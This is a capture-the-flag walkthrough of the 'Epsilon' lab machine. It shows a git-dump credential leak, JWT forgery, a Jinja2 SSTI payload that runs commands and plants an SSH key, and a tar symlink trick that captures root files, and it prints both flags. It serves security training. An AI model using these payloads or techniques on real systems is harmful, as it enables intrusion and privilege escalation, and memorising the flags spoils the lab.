Epsilon
Recon
HTTP (80)
└─$ feroxbuster -u 'http://10.129.96.151/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n
301 GET 9l 28w 313c http://10.129.96.151/.git => http://10.129.96.151/.git/
200 GET 1l 2w 23c http://10.129.96.151/.git/HEAD
200 GET 5l 13w 92c http://10.129.96.151/.git/config
200 GET 2l 8w 323c http://10.129.96.151/.git/index
Dump the git directory
└─$ git-dumper http://10.129.96.151/ port_80
└─$ ls --tree -lh port_80
Permissions Size User Date Modified Name
drwxrwxr-x - woyag 20 Dec 02:37 port_80
.rw-rw-r-- 1.7k woyag 20 Dec 02:37 ├── server.py
.rw-rw-r-- 1.1k woyag 20 Dec 02:37 └── track_api_CR_148.py
See the change logs
└─$ git log -p
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+ aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+ aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ region_name='us-east-1',
+ endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')
track_api_CR_148.py
:
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
server.py
:
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token, key):
try:
username = jwt.decode(token, key, algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
if request.form['username'] == "admin" and request.form['password'] == "admin":
res = make_response()
username = request.form['username']
token = jwt.encode({"username": "admin"}, secret, algorithm="HS256")
res.set_cookie("auth", token)
res.headers['location'] = '/home'
return res, 302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('home.html')
else:
return redirect('/', code=302)
@app.route("/track", methods=["GET", "POST"])
def track():
if request.method == "POST":
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('track.html', message=True)
else:
return redirect('/', code=302)
else:
return render_template('track.html')
@app.route('/order', methods=["GET", "POST"])
def order():
if verify_jwt(request.cookies.get('auth'), secret):
if request.method == "POST":
costume = request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl = render_template_string(message, costume=costume)
return render_template('order.html', message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/', code=302)
app.run(debug='true')
AWS
└─$ aws configure
AWS Access Key ID [****************x]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [****************y]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [z]: us-east-1
Default output format [i]: json
└─$ export AWS_ENDPOINT_URL="http://cloud.epsilon.htb"
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-lambda-enum
Enumerate functions
└─$ aws lambda list-functions --no-cli-pager
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2024-12-20T07:12:18.512+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": { "Mode": "PassThrough" },
"RevisionId": "2cde14dd-ab99-4178-b5a6-f4fdd23c6925",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
└─$ aws lambda get-function --function-name costume_shop_v1 --no-cli-pager
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2024-12-20T07:12:18.512+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "2cde14dd-ab99-4178-b5a6-f4fdd23c6925",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
└─$ curl http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code -so code.zip
└─$ unzip code.zip
Archive: code.zip
inflating: lambda_function.py
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
HTTP (5000)

└─$ feroxbuster -u 'http://10.129.96.151:5000/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -S 207 -n
200 GET 545l 2833w 217381c http://10.129.96.151:5000/static/img/costume.jpg
200 GET 205l 358w 3550c http://10.129.96.151:5000/
302 GET 4l 24w 208c http://10.129.96.151:5000/home => http://10.129.96.151:5000/
302 GET 4l 24w 208c http://10.129.96.151:5000/order => http://10.129.96.151:5000/
200 GET 234l 454w 4288c http://10.129.96.151:5000/track
200 GET 565l 3002w 320823c http://10.129.96.151:5000/static/img/ico.png
We are able to access the /track
, but any actions kicks us out to login page.

We can forge the JWT token and login
└─$ py -c 'print(__import__("jwt").encode({"username": "admin"}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256"))'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
Set the cookie and go to not /
D:

From source we can see that application is vulnerable to SSTI on /order
endpoint (because of render_template_string
)
@app.route('/order', methods=["GET", "POST"])
def order():
if verify_jwt(request.cookies.get('auth'), secret):
if request.method == "POST":
costume = request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl = render_template_string(message, costume=costume)
return render_template('order.html', message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/', code=302)

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python
> {{ cycler.__init__.__globals__.os.popen('id').read() }}
< uid=1000(tom) gid=1000(tom) groups=1000(tom)
SSH (22)
We are user tom, so we can upgrade session to SSH. ls -lah /home/tom
shows that user doesn't have .ssh
directory, but we can make it for him.
└─$ ssh-keygen -f id_rsa -P x -q
└─$ echo "mkdir ~/.ssh; echo '$(cat id_rsa.pub)' > ~/.ssh/authorized_keys"
mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM5k9W6mrqHbvdLFZ70uXoJEKAwVCmtrsXcEJnXjW687 woyag@kraken' > ~/.ssh/authorized_keys
{{ cycler.__init__.__globals__.os.popen("mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM5k9W6mrqHbvdLFZ70uXoJEKAwVCmtrsXcEJnXjW687 woyag@kraken' > ~/.ssh/authorized_keys").read() }}
└─$ ssh -i id_rsa tom@epsilon.htb
tom@epsilon:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom)
User.txt
tom@epsilon:~$ cat user.txt
2fdb3a164375fda7a815da47163ccaef
Privilege Escalation
There's definitely some kind of cronjob running in background, but it's not visible in ps aux
output.

We can use pspy to enumerate the running processes and detect cronjob
└─$ scp -i id_rsa /opt/scripts/enum/pspy64 tom@epsilon.htb:/tmp/pspy
tom@epsilon:~$ chmod +x /tmp/pspy
tom@epsilon:~$ /tmp/pspy
...
2024/12/20 08:42:06 CMD: UID=0 PID=12542 | /bin/bash /usr/bin/backup.sh
2024/12/20 08:42:06 CMD: UID=0 PID=12543 | /usr/bin/rm -rf /opt/backups/498177201.tar /opt/backups/checksum
...
2024/12/20 08:43:06 CMD: UID=0 PID=12556 | /usr/bin/tar -chvf /var/backups/web_backups/531421950.tar /opt/backups/checksum /opt/backups/520351712.tar
2024/12/20 08:43:06 CMD: UID=0 PID=12557 | /usr/bin/rm -rf /opt/backups/520351712.tar /opt/backups/checksum
...
tom@epsilon:~$ ls /var/backups/web_backups/
351128928.tar 370037650.tar 386985910.tar 408553914.tar 436328596.tar
tom@epsilon:~$ cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
To create tar cf
is enough, but second tar
is using h
flag too
tom@epsilon:~$ man tar | grep '\-h,' -A1
-h, --dereference
Follow symlinks; archive and dump the files they point to.
tom@epsilon:~$ for i in $(seq 1 60); do sleep 1; rm -f /opt/backups/checksum; ln -s /root /opt/backups/checksum; done;
...
tom@epsilon:/tmp$ ls -Alh /var/backups/web_backups
total 81M
-rw-r--r-- 1 root root 980K Dec 20 09:00 313507483.tar
-rw-r--r-- 1 root root 980K Dec 20 09:01 339138279.tar
-rw-r--r-- 1 root root 980K Dec 20 09:02 360284804.tar
-rw-r--r-- 1 root root 980K Dec 20 09:03 379377992.tar
-rw-r--r-- 1 root root 77M Dec 20 09:04 399238848.tar
tom@epsilon:/tmp$ cp /var/backups/web_backups/399238848.tar /tmp
tom@epsilon:/tmp$ tar -xf 399238848.tar
tar: opt/backups/checksum/.bash_history: Cannot mknod: Operation not permitted
tar: Exiting with failure status due to previous errors
Root.txt
tom@epsilon:/tmp$ find . -name root.txt 2>/dev/null
./opt/backups/checksum/root.txt
tom@epsilon:/tmp$ find . -name root.txt -exec cat {} \; 2>/dev/null
c40010703e51c1a3b28e5a6496170c78
Last updated